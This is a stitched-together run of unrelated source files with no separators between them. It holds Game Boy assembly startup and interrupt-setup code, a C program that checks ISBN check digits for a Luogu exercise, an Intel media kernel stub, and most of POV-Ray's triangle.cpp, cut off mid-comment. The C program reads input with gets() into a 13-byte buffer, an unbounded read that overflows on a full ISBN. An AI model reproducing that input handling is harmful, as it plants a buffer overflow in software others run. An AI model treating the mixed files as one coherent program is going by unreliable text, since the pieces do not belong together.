$00,$08,$11,$1F,$88,$89,$00,$0E,$DC,$CC,$6E,$E6,$DD,$DD,$D9,$99 DB $BB,$BB,$67,$63,$6E,$0E,$EC,$CC,$DD,$DC,$99,$9F,$BB,$B9,$33,$3E ; 0123456789ABC DB "TESTING......" DW $0000 DB $C0 ;GBC flag DB 0,0,0 ;SuperGameboy DB $1B ;CARTTYPE (MBC5+RAM+BATTERY) DB 0 ;ROMSIZE DB 0 ;RAMSIZE (8KB) DB $01 ;Destination (0 = Japan, 1 = Non Japan) DB $00 ;Manufacturer DB 0 ;Version DB 0 ;Complement check DW 0 ;Checksum ;-------------------------------------------------------------------------- ;- INITIALIZE THE GAMEBOY - ;-------------------------------------------------------------------------- SECTION "Program Start",HOME[$0150] StartPoint: di ld sp,$FFFE ; Use this as stack for a while push af ; Save CPU type push bc xor a,a ld [rNR52],a ; Switch off sound ; Add all ram values to get a random seed ld hl,_RAM ld bc,$2000 ld e,$00 .random_seed_loop: ld a,e add a,[hl] ld e,a inc hl dec bc ld a,b or a,c jr nz,.random_seed_loop ld a,e push af ; Save seed ld hl,_RAM ; Clear RAM ld bc,$2000 ld d,$00 call memset pop af ; Get random seed call SetRandomSeed pop bc ; Get CPU type pop af ld [Init_Reg_A],a ; Save CPU type into RAM ld a,b ld [Init_Reg_B],a ld sp,StackTop ; Real stack call screen_off ld hl,_VRAM ; Clear VRAM ld bc,$2000 ld d,$00 call memset ld hl,_HRAM ; Clear high RAM (and rIE) ld bc,$0080 ld d,$00 call memset call init_OAM ; Copy OAM refresh function to high ram call refresh_OAM ; We filled RAM with $00, so this will clear OAM call rom_handler_init ; Real program starts here call Main ;Should never reach this point jp Reset ;-------------------------------------------------------------------------- ;- Reset() - ;-------------------------------------------------------------------------- Reset:: ld a,[Init_Reg_B] ld b,a ld a,[Init_Reg_A] jp $0100 ;-------------------------------------------------------------------------- ;- irq_set_VBL() bc = function pointer - ;- irq_set_LCD() bc = function pointer - ;- irq_set_TIM() bc = function pointer - ;- irq_set_SIO() bc = function pointer - ;- irq_set_JOY() bc = function pointer - ;-------------------------------------------------------------------------- irq_set_VBL:: ld hl,VBL_handler jr irq_set_handler irq_set_LCD:: ld hl,LCD_handler jr irq_set_handler irq_set_TIM:: ld hl,TIM_handler jr irq_set_handler irq_set_SIO:: ld hl,SIO_handler jr irq_set_handler irq_set_JOY:: ld hl,JOY_handler ; jr irq_set_handler irq_set_handler: ; hl = dest handler bc = function pointer ld [hl],c inc hl ld [hl],b ret ;-------------------------------------------------------------------------- ;- CPU_fast() - ;- CPU_slow() - ;-------------------------------------------------------------------------- CPU_fast:: ld a,[rKEY1] bit 7,a jr z,__CPU_switch ret CPU_slow:: ld a,[rKEY1] bit 7,a jr nz,__CPU_switch ret __CPU_switch: ld a,[rIE] ld b,a ; save IE xor a,a ld [rIE],a ld a,$30 ld [rP1],a ld a,$01 ld [rKEY1],a stop ld a,b ld [rIE],a ; restore IE ret ;-------------------------------------------------------------------------- ;- Variables - ;-------------------------------------------------------------------------- SECTION "StartupVars",BSS Init_Reg_A:: DS 1 Init_Reg_B:: DS 1 _is_vbl_flag: DS 1 VBL_handler: DS 2 LCD_handler: DS 2 TIM_handler: DS 2 SIO_handler: DS 2 JOY_handler: DS 2 SECTION "Stack",BSS[$CE00] Stack: DS $200 StackTop: ; $D000
// P1055 ISBN号码 // https://www.luogu.org/problemnew/show/P1055 #include <stdio.h> int main(){ // Gets the isbn String Input char isbn[13]; gets(isbn); // Calculate the Verify Code int verify = 0; verify += (isbn[0]-'0') * 1; for (int i = 2; i <= 4; i++) { verify += (isbn[i] - '0') * (i); } for (int i = 6; i <= 10; i++) { verify += (isbn[i] - '0') * (i - 1); } verify = verify % 11; // Translate the int Verify Code into Char char verify_code; if (verify == 10) { verify_code = 'X'; } else { verify_code = verify + '0'; } // Output if (verify_code == isbn[12]) { puts("Right"); } else { isbn[12] = verify_code; puts(isbn); } return 0; }
/* * Initial kernel for filling initial BSD command buffer * Copyright © <2010>, Intel Corporation. * * This program is licensed under the terms and conditions of the * Eclipse Public License (EPL), version 1.0. The full text of the EPL is at * http://www.opensource.org/licenses/eclipse-1.0.php. * */ // Kernel name: BSDReset.asm // // Initial kernel for filling initial BSD command buffer // // ---------------------------------------------------- // Main: BSDReset // ---------------------------------------------------- .kernel BSDReset BSDRESET: #include "header.inc" .code #ifdef SW_SCOREBOARD CALL(scoreboard_start_inter,1) wait n0:ud // Now wait for scoreboard to response #define BSDRESET_ENABLE #include "scoreboard_update.asm" // scorboard update function #undef BSDRESET_ENABLE #endif // defined(SW_SCOREBOARD) // Terminate the thread // END_THREAD #if !defined(COMBINED_KERNEL) // For standalone kernel only .end_code .end_kernel #endif // !defined(COMBINED_KERNEL)
/**************************************************************************** * triangle.cpp * * This module implements primitives for triangles and smooth triangles. * * from Persistence of Vision(tm) Ray Tracer version 3.6. * Copyright 1991-2003 Persistence of Vision Team * Copyright 2003-2004 Persistence of Vision Raytracer Pty. Ltd. *--------------------------------------------------------------------------- * NOTICE: This source code file is provided so that users may experiment * with enhancements to POV-Ray and to port the software to platforms other * than those supported by the POV-Ray developers. There are strict rules * regarding how you are permitted to use this file. These rules are contained * in the distribution and derivative versions licenses which should have been * provided with this file. * * These licences may be found online, linked from the end-user license * agreement that is located at http://www.povray.org/povlegal.html *--------------------------------------------------------------------------- * This program is based on the popular DKB raytracer version 2.12. * DKBTrace was originally written by David K. Buck. * DKBTrace Ver 2.0-2.12 were written by David K. Buck & Aaron A. Collins. *--------------------------------------------------------------------------- * $File: //depot/povray/3.6-release/source/triangle.cpp $ * $Revision: #3 $ * $Change: 3032 $ * $DateTime: 2004/08/02 18:43:41 $ * $Author: chrisc $ * $Log$ *****************************************************************************/ #include "frame.h" #include "povray.h" #include "vector.h" #include "matrices.h" #include "objects.h" #include "triangle.h" #include <algorithm> BEGIN_POV_NAMESPACE /***************************************************************************** * Local preprocessor defines ******************************************************************************/ const DBL DEPTH_TOLERANCE = 1e-6; #define max3_coordinate(x,y,z) \ ((x > y) ? ((x > z) ? X : Z) : ((y > z) ? Y : Z)) /***************************************************************************** * Static functions ******************************************************************************/ static void find_triangle_dominant_axis (TRIANGLE *Triangle); static int compute_smooth_triangle (SMOOTH_TRIANGLE *Triangle); static int Intersect_Triangle (RAY *Ray, TRIANGLE *Triangle, DBL *Depth); static int All_Triangle_Intersections (OBJECT *Object, RAY *Ray, ISTACK *Depth_Stack); static int Inside_Triangle (VECTOR IPoint, OBJECT *Object); static void Triangle_Normal (VECTOR Result, OBJECT *Object, INTERSECTION *Inter); static TRIANGLE *Copy_Triangle (OBJECT *Object); static void Translate_Triangle (OBJECT *Object, VECTOR Vector, TRANSFORM *Trans); static void Rotate_Triangle (OBJECT *Object, VECTOR Vector, TRANSFORM *Trans); static void Scale_Triangle (OBJECT *Object, VECTOR Vector, TRANSFORM *Trans); static void Transform_Triangle (OBJECT *Object, TRANSFORM *Trans); static void Invert_Triangle (OBJECT *Object); static void Smooth_Triangle_Normal (VECTOR Result, OBJECT *Object, INTERSECTION *Inter); static SMOOTH_TRIANGLE *Copy_Smooth_Triangle (OBJECT *Object); static void Translate_Smooth_Triangle (OBJECT *Object, VECTOR Vector, TRANSFORM *Trans); static void Rotate_Smooth_Triangle (OBJECT *Object, VECTOR Vector, TRANSFORM *Trans); static void Scale_Smooth_Triangle (OBJECT *Object, VECTOR Vector, TRANSFORM *Trans); static void Transform_Smooth_Triangle (OBJECT *Object, TRANSFORM *Trans); static void Invert_Smooth_Triangle (OBJECT *Object); static void Destroy_Triangle (OBJECT *Object); /***************************************************************************** * Local variables ******************************************************************************/ METHODS Triangle_Methods = { All_Triangle_Intersections, Inside_Triangle, Triangle_Normal, Default_UVCoord, (COPY_METHOD)Copy_Triangle, Translate_Triangle, Rotate_Triangle, Scale_Triangle, Transform_Triangle, Invert_Triangle, Destroy_Triangle }; METHODS Smooth_Triangle_Methods = { All_Triangle_Intersections, Inside_Triangle, Smooth_Triangle_Normal, Default_UVCoord, (COPY_METHOD)Copy_Smooth_Triangle, Translate_Smooth_Triangle, Rotate_Smooth_Triangle, Scale_Smooth_Triangle, Transform_Smooth_Triangle, Invert_Smooth_Triangle, Destroy_Triangle }; METHODS Smooth_Color_Triangle_Methods = /* AP */ { All_Triangle_Intersections, Inside_Triangle, Smooth_Triangle_Normal, Default_UVCoord, (COPY_METHOD)Copy_Smooth_Triangle, Translate_Smooth_Triangle, Rotate_Smooth_Triangle, Scale_Smooth_Triangle, Transform_Smooth_Triangle, Invert_Smooth_Triangle, Destroy_Triangle }; /***************************************************************************** * * FUNCTION * * find_triangle_dominant_axis * * INPUT * * OUTPUT * * RETURNS * * AUTHOR * * POV-Ray Team * * DESCRIPTION * * - * * CHANGES * * - * ******************************************************************************/ static void find_triangle_dominant_axis(TRIANGLE *Triangle) { DBL x, y, z; x = fabs(Triangle->Normal_Vector[X]); y = fabs(Triangle->Normal_Vector[Y]); z = fabs(Triangle->Normal_Vector[Z]); Triangle->Dominant_Axis = max3_coordinate(x, y, z); } /***************************************************************************** * * FUNCTION * * compute_smooth_triangle * * INPUT * * OUTPUT * * RETURNS * * AUTHOR * * POV-Ray Team * * DESCRIPTION * * - * * CHANGES * * - * ******************************************************************************/ static int compute_smooth_triangle(SMOOTH_TRIANGLE *Triangle) { VECTOR P3MinusP2, VTemp1, VTemp2; DBL x, y, z, uDenominator, Proj; VSub(P3MinusP2, Triangle->P3, Triangle->P2); x = fabs(P3MinusP2[X]); y = fabs(P3MinusP2[Y]); z = fabs(P3MinusP2[Z]); Triangle->vAxis = max3_coordinate(x, y, z); VSub(VTemp1, Triangle->P2, Triangle->P3); VNormalize(VTemp1, VTemp1); VSub(VTemp2, Triangle->P1, Triangle->P3); VDot(Proj, VTemp2, VTemp1); VScaleEq(VTemp1, Proj); VSub(Triangle->Perp, VTemp1, VTemp2); VNormalize(Triangle->Perp, Triangle->Perp); VDot(uDenominator, VTemp2, Triangle->Perp); VInverseScaleEq(Triangle->Perp, -uDenominator); /* Degenerate if smooth normals are more than 90 from actual normal or its inverse. */ VDot(x,Triangle->Normal_Vector,Triangle->N1); VDot(y,Triangle->Normal_Vector,Triangle->N2); VDot(z,Triangle->Normal_Vector,Triangle->N3); if ( ((x<0.0) && (y<0.0) && (z<0.0)) || ((x>0.0) && (y>0.0) && (z>0.0)) ) { return(true); } Set_Flag(Triangle, DEGENERATE_FLAG); return(false); } /***************************************************************************** * * FUNCTION * * Compute_Triangle * * INPUT * * OUTPUT * * RETURNS * * AUTHOR * * POV-Ray Team * * DESCRIPTION * * - * * CHANGES * * - * ******************************************************************************/ int Compute_Triangle(TRIANGLE *Triangle,int Smooth) { int swap,degn; VECTOR V1, V2, Temp; DBL Length; VSub(V1, Triangle->P1, Triangle->P2); VSub(V2, Triangle->P3, Triangle->P2); VCross(Triangle->Normal_Vector, V1, V2); VLength(Length, Triangle->Normal_Vector); /* Set up a flag so we can ignore degenerate triangles */ if (Length == 0.0) { Set_Flag(Triangle, DEGENERATE_FLAG); return(false); } /* Normalize the normal vector. */ VInverseScaleEq(Triangle->Normal_Vector, Length); VDot(Triangle->Distance, Triangle->Normal_Vector, Triangle->P1); Triangle->Distance *= -1.0; find_triangle_dominant_axis(Triangle); swap = false; switch (Triangle->Dominant_Axis) { case X: if ((Triangle->P2[Y] - Triangle->P3[Y])*(Triangle->P2[Z] - Triangle->P1[Z]) < (Triangle->P2[Z] - Triangle->P3[Z])*(Triangle->P2[Y] - Triangle->P1[Y])) { swap = true; } break; case Y: if ((Triangle->P2[X] - Triangle->P3[X])*(Triangle->P2[Z] - Triangle->P1[Z]) < (Triangle->P2[Z] - Triangle->P3[Z])*(Triangle->P2[X] - Triangle->P1[X])) { swap = true; } break; case Z: if ((Triangle->P2[X] - Triangle->P3[X])*(Triangle->P2[Y] - Triangle->P1[Y]) < (Triangle->P2[Y] - Triangle->P3[Y])*(Triangle->P2[X] - Triangle->P1[X])) { swap = true; } break; } if (swap) { Assign_Vector(Temp, Triangle->P2); Assign_Vector(Triangle->P2, Triangle->P1); Assign_Vector(Triangle->P1, Temp); if (Smooth) { Assign_Vector(Temp, ((SMOOTH_TRIANGLE *)Triangle)->N2); Assign_Vector(((SMOOTH_TRIANGLE *)Triangle)->N2, ((SMOOTH_TRIANGLE *)Triangle)->N1); Assign_Vector(((SMOOTH_TRIANGLE *)Triangle)->N1, Temp); } } degn=true; if (Smooth) { degn=compute_smooth_triangle((SMOOTH_TRIANGLE *)Triangle); } /* Build the bounding information from the vertices. */ Compute_Triangle_BBox(Triangle); return(degn); } /***************************************************************************** * * FUNCTION * * All_Triangle_Intersections * * INPUT * * OUTPUT * * RETURNS * * AUTHOR * * POV-Ray Team * * DESCRIPTION * * - * * CHANGES * * - * ******************************************************************************/ static int All_Triangle_Intersections(OBJECT *Object, RAY *Ray, ISTACK *Depth_Stack) { DBL Depth; VECTOR IPoint; if (Intersect_Triangle(Ray, (TRIANGLE *)Object, &Depth)) { VEvaluateRay(IPoint, Ray->Initial, Depth, Ray->Direction); if (Point_In_Clip(IPoint,Object->Clip)) { push_entry(Depth,IPoint,Object,Depth_Stack); return(true); } } return(false); } /***************************************************************************** * * FUNCTION * * Intersect_Triangle * * INPUT * * OUTPUT * * RETURNS * * AUTHOR * * POV-Ray Team * * DESCRIPTION * * - * * CHANGES * * - * ******************************************************************************/ static int Intersect_Triangle(RAY *Ray, TRIANGLE *Triangle, DBL *Depth) { DBL NormalDotOrigin, NormalDotDirection; DBL s, t; Increase_Counter(stats[Ray_Triangle_Tests]); if (Test_Flag(Triangle, DEGENERATE_FLAG)) { return(false); } VDot(NormalDotDirection, Triangle->Normal_Vector, Ray->Direction); if (fabs(NormalDotDirection) < EPSILON) { return(false); } VDot(NormalDotOrigin, Triangle->Normal_Vector, Ray->Initial); *Depth = -(Triangle->Distance + NormalDotOrigin) / NormalDotDirection; if ((*Depth < DEPTH_TOLERANCE) || (*Depth > Max_Distance)) { return(false); } switch (Triangle->Dominant_Axis) { case X: s = Ray->Initial[Y] + *Depth * Ray->Direction[Y]; t = Ray->Initial[Z] + *Depth * Ray->Direction[Z]; if ((Triangle->P2[Y] - s) * (Triangle->P2[Z] - Triangle->P1[Z]) < (Triangle->P2[Z] - t) * (Triangle->P2[Y] - Triangle->P1[Y])) { return(false); } if ((Triangle->P3[Y] - s) * (Triangle->P3[Z] - Triangle->P2[Z]) < (Triangle->P3[Z] - t) * (Triangle->P3[Y] - Triangle->P2[Y])) { return(false); } if ((Triangle->P1[Y] - s) * (Triangle->P1[Z] - Triangle->P3[Z]) < (Triangle->P1[Z] - t) * (Triangle->P1[Y] - Triangle->P3[Y])) { return(false); } Increase_Counter(stats[Ray_Triangle_Tests_Succeeded]); return(true); case Y: s = Ray->Initial[X] + *Depth * Ray->Direction[X]; t = Ray->Initial[Z] + *Depth * Ray->Direction[Z]; if ((Triangle->P2[X] - s) * (Triangle->P2[Z] - Triangle->P1[Z]) < (Triangle->P2[Z] - t) * (Triangle->P2[X] - Triangle->P1[X])) { return(false); } if ((Triangle->P3[X] - s) * (Triangle->P3[Z] - Triangle->P2[Z]) < (Triangle->P3[Z] - t) * (Triangle->P3[X] - Triangle->P2[X])) { return(false); } if ((Triangle->P1[X] - s) * (Triangle->P1[Z] - Triangle->P3[Z]) < (Triangle->P1[Z] - t) * (Triangle->P1[X] - Triangle->P3[X])) { return(false); } Increase_Counter(stats[Ray_Triangle_Tests_Succeeded]); return(true); case Z: s = Ray->Initial[X] + *Depth * Ray->Direction[X]; t = Ray->Initial[Y] + *Depth * Ray->Direction[Y]; if ((Triangle->P2[X] - s) * (Triangle->P2[Y] - Triangle->P1[Y]) < (Triangle->P2[Y] - t) * (Triangle->P2[X] - Triangle->P1[X])) { return(false); } if ((Triangle->P3[X] - s) * (Triangle->P3[Y] - Triangle->P2[Y]) < (Triangle->P3[Y] - t) * (Triangle->P3[X] - Triangle->P2[X])) { return(false); } if ((Triangle->P1[X] - s) * (Triangle->P1[Y] - Triangle->P3[Y]) < (Triangle->P1[Y] - t) * (Triangle->P1[X] - Triangle->P3[X])) { return(false); } Increase_Counter(stats[Ray_Triangle_Tests_Succeeded]); return(true); } return(false); } /***************************************************************************** * * FUNCTION * * Inside_Triangle * * INPUT * * OUTPUT * * RETURNS * * AUTHOR * * POV-Ray Team * * DESCRIPTION * * - * * CHANGES * * - * ******************************************************************************/ static int Inside_Triangle(VECTOR, OBJECT *) { return(false); } /***************************************************************************** * * FUNCTION * * Triangle_Normal * * INPUT * * OUTPUT * * RETURNS * * AUTHOR * * POV-Ray Team * * DESCRIPTION * * - * * CHANGES * * - * ******************************************************************************/ static void Triangle_Normal(VECTOR Result, OBJECT *Object, INTERSECTION *) { Assign_Vector(Result, ((TRIANGLE *)Object)->Normal_Vector); } /***************************************************************************** * * FUNCTION * * Smooth_Triangle_Normal * * INPUT * * OUTPUT * * RETURNS * * AUTHOR * * POV-Ray Team * * DESCRIPTION * * Calculate the Phong-interpolated vector within the triangle * at the given intersection point. The math for this is a bit * bizarre: * * - P1 * | /|\ \ * | / |Perp\ * | / V \ \ * | / | \ \ * u | /____|_____PI___\ * | / | \ \ * - P2-----|--------|----P3 * Pbase PIntersect * |-------------------| * v * * Triangle->Perp is a unit vector from P1 to Pbase. We calculate * * u = (PI - P1) DOT Perp / ((P3 - P1) DOT Perp). * * We then calculate where the line from P1 to PI intersects the line P2 to P3: * PIntersect = (PI - P1)/u. * * We really only need one coordinate of PIntersect. We then calculate v as: * * v = PIntersect[X] / (P3[X] - P2[X]) * or v = PIntersect[Y] / (P3[Y] - P2[Y]) * or v = PIntersect[Z] / (P3[Z] - P2[Z]) * * depending on which calculation will give us the best answers. * * Once we have u and v, we can perform the normal interpolation as: * * NTemp1 = N1 + u(N2 - N1); * NTemp2 = N1 + u(N3 - N1); * Result = normalize (NTemp1 + v(NTemp2 - NTemp1)) * * As always, any values which are constant for the triangle are cached * in the triangle. * * CHANGES * * - * ******************************************************************************/ static void Smooth_Triangle_Normal(VECTOR Result, OBJECT *Object, INTERSECTION *Inter) { int Axis; DBL u, v; VECTOR PIMinusP1; SMOOTH_TRIANGLE *Triangle = (SMOOTH_TRIANGLE *)Object; VSub(PIMinusP1, Inter->IPoint, Triangle->P1); VDot(u, PIMinusP1, Triangle->Perp); if (u < EPSILON) { Assign_Vector(Result, Triangle->N1); return; } Axis = Triangle->vAxis; v = (PIMinusP1[Axis] / u + Triangle->P1[Axis] - Triangle->P2[Axis]) / (Triangle->P3[Axis] - Triangle->P2[Axis]); /* This is faster. [DB 8/94] */ Result[X] = Triangle->N1[X] + u * (Triangle->N2[X] - Triangle->N1[X] + v * (Triangle->N3[X] - Triangle->N2[X])); Result[Y] = Triangle->N1[Y] + u * (Triangle->N2[Y] - Triangle->N1[Y] + v * (Triangle->N3[Y] - Triangle->N2[Y])); Result[Z] = Triangle->N1[Z] + u * (Triangle->N2[Z] - Triangle->N1[Z] + v * (Triangle->N3[Z] - Triangle->N2[Z])); VNormalize(Result, Result); } /***************************************************************************** * * FUNCTION * * Translate_Triangle * * INPUT * * OUTPUT * * RETURNS * * AUTHOR * * POV-Ray Team * * DESCRIPTION * * - * * CHANGES * * - * ******************************************************************************/ static void Translate_Triangle(OBJECT *Object, VECTOR Vector, TRANSFORM * /*Trans*/) { TRIANGLE *Triangle = (TRIANGLE *)Object; /*VECTOR Translation;*/ if (!Test_Flag(Triangle, DEGENERATE_FLAG)) { /* BEG ROSE this is useless, because Compute_Triangle recalculates this anyway: VEvaluate(Translation, Triangle->Normal_Vector, Vector); Triangle->Distance -= Translation[X] + Translation[Y] + Translation[Z]; END ROSE */ VAddEq(Triangle->P1, Vector); VAddEq(Triangle->P2, Vector); VAddEq(Triangle->P3, Vector); Compute_Triangle(Triangle, false); } } /***************************************************************************** * * FUNCTION * * Rotate_Triangle * * INPUT * * OUTPUT * * RETURNS * * AUTHOR * * POV-Ray Team * * DESCRIPTION * * - * * CHANGES * * - * ******************************************************************************/ static void Rotate_Triangle(OBJECT *Object, VECTOR, TRANSFORM *Trans) { if (!Test_Flag(Object, DEGENERATE_FLAG)) { Transform_Triangle(Object, Trans); } } /***************************************************************************** * * FUNCTION * * Scale_Triangle * * INPUT * * OUTPUT * * RETURNS * * AUTHOR * * POV-Ray Team * * DESCRIPTION * * - * * CHANGES * * - * ******************************************************************************/ static void Scale_Triangle(OBJECT *Object, VECTOR Vector, TRANSFORM * /*Trans*/) { /*DBL Length;*/ TRIANGLE *Triangle = (TRIANGLE *)Object; if (!Test_Flag(Object, DEGENERATE_FLAG)) { /* BEG ROSE this is useless, because Compute_Triangle recalculates this anyway: Triangle->Normal_Vector[X] = Triangle->Normal_Vector[X] / Vector[X]; Triangle->Normal_Vector[Y] = Triangle->Normal_Vector[Y] / Vector[Y]; Triangle->Normal_Vector[Z] = Triangle->Normal_Vector[Z] / Vector[Z]; VLength(Length, Triangle->Normal_Vector); VInverseScaleEq(Triangle->Normal_Vector, Length); Triangle->Distance /= Length; END ROSE */ VEvaluateEq(Triangle->P1, Vector); VEvaluateEq(Triangle->P2, Vector); VEvaluateEq(Triangle->P3, Vector); Compute_Triangle(Triangle, false); } } /***************************************************************************** * * FUNCTION * * Transfrom_Triangle * * INPUT * * OUTPUT * * RETURNS * * AUTHOR * * POV-Ray Team * * DESCRIPTION * * - * * CHANGES * * - * ******************************************************************************/ static void Transform_Triangle(OBJECT *Object, TRANSFORM *Trans) { TRIANGLE *Triangle = (TRIANGLE *)Object; if (!Test_Flag(Object, DEGENERATE_FLAG)) { /* ROSE BEG this is useless, because Compute_Triangle recalculates this anyway: MTransPoint(Triangle->Normal_Vector,Triangle->Normal_Vector, Trans); END ROSE */ MTransPoint(Triangle->P1, Triangle->P1, Trans); MTransPoint(Triangle->P2, Triangle->P2, Trans); MTransPoint(Triangle->P3, Triangle->P3, Trans); Compute_Triangle(Triangle, false); } } /***************************************************************************** * * FUNCTION * * Invert_Triangle * * INPUT * * OUTPUT * * RETURNS * * AUTHOR * * POV-Ray Team * * DESCRIPTION * * - * * CHANGES * * - * ******************************************************************************/ static void Invert_Triangle(OBJECT *) { } /***************************************************************************** * * FUNCTION * * Create_Triangle * * INPUT * * OUTPUT * * RETURNS * * AUTHOR * * POV-Ray Team * * DESCRIPTION * * - * * CHANGES * * - * ******************************************************************************/ TRIANGLE *Create_Triangle() { TRIANGLE *New; New = (TRIANGLE *)POV_MALLOC(sizeof(TRIANGLE), "triangle"); INIT_OBJECT_FIELDS(New,TRIANGLE_OBJECT,&Triangle_Methods) Make_Vector(New->Normal_Vector, 0.0, 1.0, 0.0); New->Distance = 0.0; /* BEG ROSE this three points doesn't belong to the normal vector, created above: END ROSE */ Make_Vector(New->P1, 0.0, 0.0, 0.0); Make_Vector(New->P2, 1.0, 0.0, 0.0); Make_Vector(New->P3, 0.0, 1.0, 0.0); /* * NOTE: Dominant_Axis is computed when Parse_Triangle calls * Compute_Triangle. vAxis is used only for smooth triangles. */ return(New); } /***************************************************************************** * * FUNCTION * * Copy_Triangle * * INPUT * * OUTPUT * * RETURNS * * AUTHOR * * POV-Ray Team * * DESCRIPTION * * - * * CHANGES * * - * ******************************************************************************/ static TRIANGLE *Copy_Triangle(OBJECT *Object) { TRIANGLE *New; New = Create_Triangle(); *New = *((TRIANGLE *)Object); return(New); } /***************************************************************************** * * FUNCTION * * Destroy_Triangle * * INPUT * * OUTPUT * * RETURNS * * AUTHOR * * POV-Ray Team * * DESCRIPTION * * - * * CHANGES * * - * ******************************************************************************/ static void Destroy_Triangle(OBJECT *Object) { POV_FREE (Object); } /***************************************************************************** * * FUNCTION * * Translate_Smooth_Triangle * * INPUT * * OUTPUT * * RETURNS * * AUTHOR * * POV-Ray Team * * DESCRIPTION * * - * * CHANGES * * - * ******************************************************************************/ static void Translate_Smooth_Triangle(OBJECT *Object, VECTOR Vector, TRANSFORM * /*Trans*/) { SMOOTH_TRIANGLE *Triangle = (SMOOTH_TRIANGLE *)Object; /*VECTOR Translation;*/ if (!Test_Flag(Object, DEGENERATE_FLAG)) { /* BEG ROSE this is useless, because Compute_Triange recalculates this anyway: VEvaluate(Translation, Triangle->Normal_Vector, Vector); Triangle->Distance -= Translation[X] + Translation[Y] + Translation[Z]; END ROSE */ VAddEq(Triangle->P1, Vector); VAddEq(Triangle->P2, Vector); VAddEq(Triangle->P3, Vector); Compute_Triangle((TRIANGLE *)Triangle, true); } } /***************************************************************************** * * FUNCTION * * Rotate_Smooth_Triangle * * INPUT * * OUTPUT * * RETURNS * * AUTHOR * * POV-Ray Team * * DESCRIPTION * * - * * CHANGES * * - * ******************************************************************************/ static void Rotate_Smooth_Triangle(OBJECT *Object, VECTOR, TRANSFORM *Trans) { if (!Test_Flag(Object, DEGENERATE_FLAG)) { Transform_Smooth_Triangle(Object, Trans); } } /***************************************************************************** * * FUNCTION * * Scale_Smooth_Triangle * * INPUT * * OUTPUT * * RETURNS * * AUTHOR * * POV-Ray Team * * DESCRIPTION * * - * * CHANGES * * - * ******************************************************************************/ static void Scale_Smooth_Triangle(OBJECT *Object, VECTOR Vector, TRANSFORM * /*Trans*/) { DBL Length; SMOOTH_TRIANGLE *Triangle = (SMOOTH_TRIANGLE *)Object; if (!Test_Flag(Object, DEGENERATE_FLAG)) { /* BEG ROSE this is useless, because Compute_Triange recalculates this anyway: Triangle->Normal_Vector[X] = Triangle->Normal_Vector[X] / Vector[X]; Triangle->Normal_Vector[Y] = Triangle->Normal_Vector[Y] / Vector[Y]; Triangle->Normal_Vector[Z] = Triangle->Normal_Vector[Z] / Vector[Z]; VLength(Length, Triangle->Normal_Vector); VScaleEq(Triangle->Normal_Vector, 1.0 / Length); Triangle->Distance /= Length; END ROSE */ VEvaluateEq(Triangle->P1, Vector); VEvaluateEq(Triangle->P2, Vector); VEvaluateEq(Triangle->P3, Vector); /* BEG ROSE The normal vectors also have to be transformed (BUG fix): */ Triangle->N1[X] /= Vector[X]; Triangle->N1[Y] /= Vector[Y]; Triangle->N1[Z] /= Vector[Z]; VLength(Length,Triangle->N1); VScaleEq(Triangle->N1,1.0/Length); Triangle->N2[X] /= Vector[X]; Triangle->N2[Y] /= Vector[Y]; Triangle->N2[Z] /= Vector[Z]; VLength(Length,Triangle->N2); VScaleEq(Triangle->N2,1.0/Length); Triangle->N3[X] /= Vector[X]; Triangle->N3[Y] /= Vector[Y]; Triangle->N3[Z] /= Vector[Z]; VLength(Length,Triangle->N3); VScaleEq(Triangle->N3,1.0/Length); /* END ROSE */ Compute_Triangle((TRIANGLE *)Triangle,true); } } /***************************************************************************** * * FUNCTION * * Transform_Smooth_Triangle * * INPUT * * OUTPUT * * RETURNS * * AUTHOR * * POV-Ray Team * * DESCRIPTION * * - * * CHANGES * * - * ******************************************************************************/ static void Transform_Smooth_Triangle(OBJECT *Object, TRANSFORM *Trans) { SMOOTH_TRIANGLE *Triangle = (SMOOTH_TRIANGLE *)Object; if (!Test_Flag(Object, DEGENERATE_FLAG)) { /* BEG ROSE This is useless, because Compute_Triange recalculates this anyway: MTransPoint(Triangle->Normal_Vector,Triangle->Normal_Vector, Trans); END ROSE */ MTransPoint(Triangle->P1, Triangle->P1, Trans); MTransPoint(Triangle->P2, Triangle->P2, Trans); MTransPoint(Triangle->P3, Triangle->P3, Trans); /* BEG ROSE This code is definitely wrong: MTransPoint(Triangle->N1, Triangle->N1, Trans); MTransPoint(Triangle->N2, Triangle->N2, Trans); MTransPoint(Triangle->N3, Triangle->N3, Trans); Bug fix for this: */ MTransNormal(Triangle->N1,Triangle->N1,Trans); MTransNormal(Triangle->N2,Triangle->N2,Trans); MTransNormal(Triangle->N3,Triangle->N3,Trans); /* END ROSE */ Compute_Triangle((TRIANGLE *)Triangle, true); } } /***************************************************************************** * * FUNCTION * * Invert_Smooth_Triangle * * INPUT * * OUTPUT * * RETURNS * * AUTHOR * * POV-Ray Team * * DESCRIPTION * * - * * CHANGES * * - * ******************************************************************************/ static void Invert_Smooth_Triangle(OBJECT *) { } /***************************************************************************** * * FUNCTION * * Create_Smooth_Triangle * * INPUT * * OUTPUT * * RETURNS * * AUTHOR * * POV-Ray Team * * DESCRIPTION * * - * * CHANGES * * - * ******************************************************************************/ SMOOTH_TRIANGLE *Create_Smooth_Triangle() { SMOOTH_TRIANGLE *New; New = (SMOOTH_TRIANGLE *)POV_MALLOC(sizeof(SMOOTH_TRIANGLE), "smooth triangle"); INIT_OBJECT_FIELDS(New,SMOOTH_TRIANGLE_OBJECT,&Smooth_Triangle_Methods) Make_Vector(New->Normal_Vector, 0.0, 1.0, 0.0); New->Distance = 0.0; /* BEG ROSE The normal vectors are not matching the triangle, given by the points: END ROSE */ Make_Vector(New->P1, 0.0, 0.0, 0.0); Make_Vector(New->P2, 1.0, 0.0, 0.0); Make_Vector(New->P3, 0.0, 1.0, 0.0); Make_Vector(New->N1, 0.0, 1.0, 0.0); Make_Vector(New->N2, 0.0, 1.0, 0.0); Make_Vector(New->N3, 0.0, 1.0, 0.0); /* * NOTE: Dominant_Axis and vAxis are computed when * Parse_Triangle calls Compute_Triangle. */ return(New); } /***************************************************************************** * * FUNCTION * * Copy_Smooth_Triangle * * INPUT * * OUTPUT * * RETURNS * * AUTHOR * * POV-Ray Team * * DESCRIPTION * * - * * CHANGES * * - * ******************************************************************************/ static SMOOTH_TRIANGLE *Copy_Smooth_Triangle(OBJECT *Object) { SMOOTH_TRIANGLE *New; New = Create_Smooth_Triangle(); *New = *((SMOOTH_TRIANGLE *)Object); return(New); } /***************************************************************************** * * FUNCTION * * Compute_Triangle_BBox * * INPUT * * Triangle - Triangle * * OUTPUT * * Triangle * * RETURNS * * AUTHOR * * Dieter Bayer * * DESCRIPTION * * Calculate the 